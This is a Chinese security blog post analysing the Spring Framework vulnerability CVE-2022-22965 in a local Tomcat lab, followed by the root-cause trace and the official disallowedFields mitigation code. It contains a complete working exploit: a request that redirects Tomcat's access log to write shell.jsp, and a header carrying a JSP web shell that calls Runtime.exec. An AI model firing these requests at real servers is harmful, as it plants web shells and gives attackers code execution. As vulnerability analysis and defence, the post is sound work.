CVE-2022-22965 SpringFramework 漏洞分析

Posted by kingkk on 2022-04-03

前言

好久没写博客了,正好最近出现了一个比较严重的Spring框架漏洞,有几个点还蛮有意思的,花了一些时间看了下。

官方通告中的漏洞利用条件如下(实际中可能会有更多细小的出入点)

  • jdk9+
  • spring
  • tomcat war部署方式

漏洞复现

环境搭建

  • docker: tomcat8-jdk11
  • spring: 5.2.12.RELEASE

关于springboot如何搭建部署war包,可以参考
https://www.codebyamir.com/blog/how-to-deploy-spring-boot-war-to-tomcat

这个漏洞的触法方式需要利用spring默认的WebDataBinder数据绑定方式,所以对一些json之类的传值数据绑定方式可能并不奏效。

示例代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping("/userInfo")
public String userInfo(UserInfo userInfo){
return userInfo.getId();
}

public class UserInfo {
private String id;

public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}
}

算是一个比较常规的接口写法了,对于默认参数没有进行参数注解的情况下时spring会通过get或者post参数,对参数的字段进行赋值。

例如当我们发起这样一个请求的时候,就可以看到userInfo变量的id值被赋予了我们传递的值

1
curl http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/bean/userInfo\?id\=kingkk

漏洞利用

感觉具体的利用方式便是参考Struts2 S2-020
https://cloud.tencent.com/developer/article/1035297

利用这个默认的数据绑定方式,修改tomcat的日志文件配置,以达到写入任意的jsp文件。

1
http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/bean/userInfo?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring-vuln-0.0.1-SNAPSHOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{evil}i

其实主要就是这四个参数。
分别是修改日志的目录、前缀、后缀、日期格式和日志格式。

目录可以尝试webapps/ROOT或者当前目录。
并且为了避免过多无用日志和一些url编码的问题,将pattern设置为%{evil}i表示只记录evil的header头。

  • class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring-vuln-0.0.1-SNAPSHOT
  • class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
  • class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
  • class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
  • class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{evil}i

然后发送一个带有evilheader头的请求(由于我本地测试时会存在双引号转译的问题,所以需要添加一些绕过)

1
curl http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/bean/userInfo -H "evil: <%Runtime.getRuntime().exec(new String(new byte[]{116, 111, 117, 99, 104, 32, 119, 101, 98, 97, 112, 112, 115, 47, 101, 118, 105, 108, 46, 116, 120, 116}));%>"

就可以发现jsp文件被成功写入

然后访问http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/shell.jsp即可执行系统命令,在webapps目录下touch一个evil.txt

漏洞原理

具体就是来看下为什么可以写入这个tomcat配置

先从WebDataBinderdoBind函数开始,这里主要做的就是将用户传递的参数绑定到handler函数的参数上。

然后一直跟到org.springframework.beans.AbstractPropertyAccessor#setPropertyValues中,
这里对将上一张截图中的pvs参数循环,并进行依次设置

然后来到org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath这是比较重要的一个地方。主要是用来获取对象的指定属性的。(这里对应的就是userInfoclass.module.classLoader.xxx对象)

PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex对我们传入的参数进行.[]的分割

然后到后面递归调用getPropertyAccessorForPropertyPath去不断获取属性的属性。

然后来看下具体获取属性的方式org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyValue

这里首先通过getLocalPropertyHandler获取对应的PropertyHandler,这里面主要封装了对象属性的获取方式。

跟进之后可以看到这里的BeanWrapperImpl是获取到了当前包装类(UserInfo)的CachedIntrospectionResults对象。
然后在从这个缓存的CachedIntrospectionResults对象中获取属性的PropertyHandler

CachedIntrospectionResults的本质是对java bean api中Introspector的封装。

跟进CachedIntrospectionResults的构造函数中就能看到。

这其中就是将BeanInfo结果缓存之后进行使用。然后这里就涉及到这个api的蛋疼之处了,由于存在getClass这样一个方法,所以这个api就认为当前对象存在一个class对象,并且拥有getter方法。
所以我们就可以获取到userInfo对象的class属性。

其实也可以发现CachedIntrospectionResults构造函数的下面,当对象是Class是会过滤classLoaderprotectionDomain属性。
这也是CVE-2010-1622的修复

然后继续回到我们获取属性的地方。
获取到class属性的PropertyHandler之后,可以看到这个属性是可读的,并且有readMethod放法。

然后getValue方法中就可以看到拿了这个方法,并且通过反射进行调用,相当于获取到了userInfo.getClass()对象。

获取到之后就会返回到之前说的org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath中进行递归调用,相当于一直获取userInfo.getClass().getModule().getClassLoader().getResources().getContext().getParent().getPipline().getFirst()

当获取到最后一个值的时候就会到了org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue中,对最后一个属性进行set

set的方式和之前get类似,也是先获取到一个PropertyHandler

然后获取到writeMethod进行反射调用

其实这里还有个feature,就是当属性的类型为arrayList或者Map时也可以进行属性的设置,具体逻辑在org.springframework.beans.AbstractNestablePropertyAccessor#processKeyedProperty中。

至此,我们相当于可以设置任意通过链式getter获取的属性值。
并且由于tomcat容器的关系,他会通过WebAppClassLoader来隔离每个应用之间的类,导致自定义参数对象获取到的classLoader会是tomcat的WebAppClassLoader

其中保存了tomcat的上下文相关信息,所以其实相当于可以写入其中的所有属性值。

最后,为什么这个漏洞需要一个jdk9+的条件呢,因为class.getClassLoaderclass.protectionDomain()其实在CachedIntrospectionResults中是被禁用了的,所以通过jdk9中Class类中引入的Moudle属性间接获取classLoader对象。

并且,module这个属性在jdk13之后不显示配置也无法通过反射进行获取,jdk9-jdk11并没有这个安全限制。所以其实这个漏洞最后影响的范围应该是jdk9-jdk11.

几个疑问

SpringMVC参数获取的的方式

java中,所有web框架都符合servlet规范,Spring也不例外。
Spring中通过一个同一个的org.springframework.web.servlet.DispatcherServlet来进行请求分发处理。

org.springframework.web.servlet.DispatcherServlet#doDispatch中先根据请求获取到对应的handler也就是我们编写的函数接口

然后再通过org.springframework.web.servlet.HandlerAdapter#handle调用对应的handler对请求进行处理

org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest中可以看到,就是绑定对应参数,然后传递到对应的函数接口进行调用的逻辑

org.springframework.web.method.support.HandlerMethodArgumentResolverComposite#resolveArgument函数中,会根据函数的参数类型以及注解获取对应的HandlerMethodArgumentResolver

由于实例中的函数参数并没有任何注解,所以会默认使用ServletModelAttributeMethodProcessor进行参数参数处理,进而使用WebDataBinder进行参数绑定。

如果参数有注解之类的,就会获取到不同的HandlerMethodArgumentResolver进行一些json conveter或者path参数获取的参数绑定。

至于后面的WebDataBinder通过BeanWrapperImpl进行参数绑定的逻辑,在漏洞原理中也分析过了就不再赘述

BeanInfo的具体判定方式

写一个简单的Introspector

1
2
3
4
5
6
BeanInfo info = Introspector.getBeanInfo(Person.class);
for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
System.out.println(pd.getName());
System.out.println(" " + pd.getReadMethod());
System.out.println(" " + pd.getWriteMethod());
}

在输出结果中可以看到BeanInfo中认为这个Person类有三个property,分别是agenameclass

Introspector#getBeanInfo(Class)中第一次调用时会new一个新的Introspector通过getBeanInfo()方法获取对应的beanInfo

在构造函数中还可以看到,会递归去获取父类的属性信息

由于java中的所有对象都继承了Object类,所以必然也会去获取Object的beanInfo。
具体的获取属性值的逻辑在java.beans.Introspector#getTargetPropertyInfo中。

可以看到是比较粗暴的for循环出所有public方法,比较函数名的前缀是否为get,则就会认为该bean中存在对应的属性。

因而Object中存在的getClass()方法,也就会为所有JavaBean都赋予一个这样的class属性

Spring boot jar包形式为什么不受影响

spring boot中可以看到,参数对象的classLoader并不是tomcat中的WebAppClassLoader,而是jdk中的AppClassLoader

由于spring boot jar单应用的启动形式,就没有像tomcat war包部署的方式一般需要用WebAppClassLoader将多个应用的类隔离开。
所以就是用jdk默认的AppClassLoader加载用户的class文件,而AppClassLoader就不像WebAppClassLoader拥有过多的属性,利用方式也困难许多。

最后

总的来说,还确实是一个不错且有意思的漏洞。但是一开始号称堪比log4j2 shell的烟雾弹属实让人厌恶。
而且随着微服务的兴起,spring boot jar包单应用服务的盛行,以及前后端的分离,导致大多数接口都从默认的form表单传值变成了json格式,也从一方面削弱了这个漏洞的影响。

个人认为这个漏洞其实就是CVE-2010-1622jdk高版本下利用module属性的绕过,外加Struts2 S2-020的漏洞利用方式。
当然,个人认为tomcat context中应该还有更多有意思的东西,或许可以不局限于修改log配置的利用方式。

这个漏洞的本质就是通过这个默认的数据绑定可以不断getter property,并修改对应值,且提供了支持arrayListMap的feature。

最后,官方给出的修复建议就是添加对应获取属性值的黑名单,禁用任何class属性的获取,从而断绝了从Object继承下来的class属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@SpringBootApplication
public class MyApp {
public static void main(String[] args) {
SpringApplication.run(CarApp.class, args);
}

@Bean
public WebMvcRegistrations mvcRegistrations() {
return new WebMvcRegistrations() {
@Override
public RequestMappingHandlerAdapter getRequestMappingHandlerAdapter() {
return new ExtendedRequestMappingHandlerAdapter();
}
};
}

private static class ExtendedRequestMappingHandlerAdapter extends RequestMappingHandlerAdapter {

@Override
protected InitBinderDataBinderFactory createDataBinderFactory(List<InvocableHandlerMethod> methods) {

return new ServletRequestDataBinderFactory(methods, getWebBindingInitializer()) {

@Override
protected ServletRequestDataBinder createBinderInstance(
Object target, String name, NativeWebRequest request) throws Exception {

ServletRequestDataBinder binder = super.createBinderInstance(target, name, request);
String[] fields = binder.getDisallowedFields();
List<String> fieldList = new ArrayList<>(fields != null ? Arrays.asList(fields) : Collections.emptyList());
fieldList.addAll(Arrays.asList("class.*", "Class.*", "*.class.*", "*.Class.*"));
binder.setDisallowedFields(fieldList.toArray(new String[] {}));
return binder;
}
};
}
}
}

References